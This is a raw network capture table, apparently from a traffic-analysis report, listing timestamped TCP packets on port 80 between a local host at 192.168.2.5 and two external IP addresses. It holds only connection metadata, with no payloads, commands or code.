Jul 13, 2024 07:07:05.925384045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925385952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925422907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925422907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925491095 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925527096 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925539017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925556898 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925573111 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925591946 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925591946 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925632000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925715923 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925740957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925755978 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925770998 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925777912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925818920 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925818920 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.925858974 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925945997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925961018 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.925976992 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926001072 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926001072 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926021099 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926064968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926080942 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926096916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926135063 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926135063 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926377058 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926402092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926422119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926460028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926460028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926460028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926512957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926543951 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926559925 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926564932 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926575899 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926594973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926594973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926632881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926683903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926698923 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926713943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926729918 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926733971 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926733971 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926764965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926764965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926851034 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926866055 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926881075 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926897049 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926903963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926903963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926913977 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926928043 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926934004 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926934004 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926944017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926959991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.926961899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926961899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926994085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.926994085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.927316904 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.927365065 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.927407980 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.956440926 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956465006 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956492901 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956516981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956530094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956530094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956530094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956553936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956590891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956605911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956605911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956629038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956640959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956660032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.956682920 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.956710100 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970516920 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970572948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970622063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970624924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970655918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970689058 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970698118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970699072 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970722914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970742941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970757961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970804930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970804930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970825911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970860004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970876932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970891953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970905066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970931053 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.970943928 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.970985889 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.973246098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.973282099 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.973315954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.973345041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.973345995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.973366976 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.973392010 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.002793074 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.002872944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.002907991 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.002928972 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.002963066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.002964973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.002964973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.002998114 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003001928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003047943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003057003 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003083944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003106117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003119946 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003122091 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003153086 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003177881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003201962 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003212929 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003237009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003257990 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003268957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003288031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003300905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003325939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003350019 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003354073 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003384113 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003416061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003441095 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003448009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003484964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003488064 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003488064 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003519058 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003550053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003571033 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003583908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003603935 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003617048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003623009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003650904 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003684044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003716946 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003722906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003722906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003750086 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003755093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003784895 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.003822088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.003822088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.005163908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.005198956 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.005274057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008290052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008342028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008363962 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008374929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008428097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008454084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008454084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008460999 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008517027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008517027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008531094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008567095 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008599997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008606911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008622885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008655071 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008656025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008690119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008714914 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008723021 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008734941 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008754969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008789062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008795023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008806944 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008840084 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.008877993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008877993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.008889914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008924007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008936882 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008956909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.008976936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.008991957 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009042978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009044886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009077072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009119987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009128094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009157896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009169102 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009210110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009229898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009243011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009260893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009277105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009310961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009332895 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009342909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009358883 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009377003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009404898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009413004 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009418964 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009444952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009475946 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009478092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009510994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.009527922 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009543896 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009565115 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.009577990 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009582996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009582996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009612083 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009639025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009645939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009679079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009707928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009707928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009715080 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009752989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009752989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009767056 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009798050 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009830952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009838104 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009838104 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009864092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009896994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009896994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009896994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009931087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009932995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.009963989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.009996891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010008097 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010008097 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010030985 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010062933 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010070086 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010070086 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010097027 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010130882 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010134935 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010134935 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010164022 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010196924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010205984 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010205984 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010231018 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010263920 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010296106 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010303020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010303020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010330915 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.010364056 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010370016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010401964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010409117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.010425091 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010435104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010445118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010482073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010485888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010519981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010534048 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010552883 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010575056 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010586977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010620117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010653019 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010668039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010687113 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010688066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010709047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010721922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010754108 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010768890 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010787964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010793924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010823965 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010858059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010876894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010890007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010926008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010929108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010930061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010958910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010977983 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.010992050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.010998011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011022091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011042118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011054993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011065960 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011090040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011106968 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011128902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011163950 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011178017 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011178970 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011265039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011296988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011311054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011331081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011332989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011352062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011384010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011415958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011435032 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011445045 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.011471987 CEST	58982	80	192.168.2.5	77.91.77.81
